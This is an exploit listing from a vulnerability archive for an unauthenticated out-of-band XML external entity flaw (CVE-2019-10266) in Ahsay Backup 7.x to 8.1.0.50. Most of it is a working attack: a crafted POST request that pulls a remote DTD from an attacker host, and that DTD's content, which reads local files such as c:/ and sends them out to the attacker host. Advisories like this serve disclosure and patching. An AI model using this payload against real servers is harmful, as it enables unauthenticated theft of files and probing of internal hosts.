Ahsay Backup 7.x / 8.x XML Injection

2019.07.27
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

# Unauthenticated XML External Entity (XXE) in Ahsay Backup v7.x - v8.1.0.50. # Date: 26-6-2019 # Exploit Author: Wietse Boonstra # Vendor Homepage: https://ahsay.com # Software Link: http://ahsay-dn.ahsay.com/v8/81050/cbs-win.exe # Version: 7.x < 8.1.0.50 # Tested on: Windows / Linux # CVE : CVE-2019-10266 #Ahsay is vulnerable to a OOB Unauthenticated XML External Entity #More info https://www.wbsec.nl/ahsay/#CVE-2019-10263 Sending the following POST request will trigger the XXE: POST /obs/obm8/user/setUserProfile HTTP/1.1 Content-Type: application/octet-stream Content-Length: 126 Host: 172.16.238.213:80 <?xml version="1.0"?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker/oob"> %remote;%intern; %trick;]> On http://attacker/oob add the following content: <!ENTITY % payl SYSTEM "file:///c:/"><!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'file://:%payl;/%payl;'>"> Here it is possible to change file:///c:/ to any directory/file or internal host.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top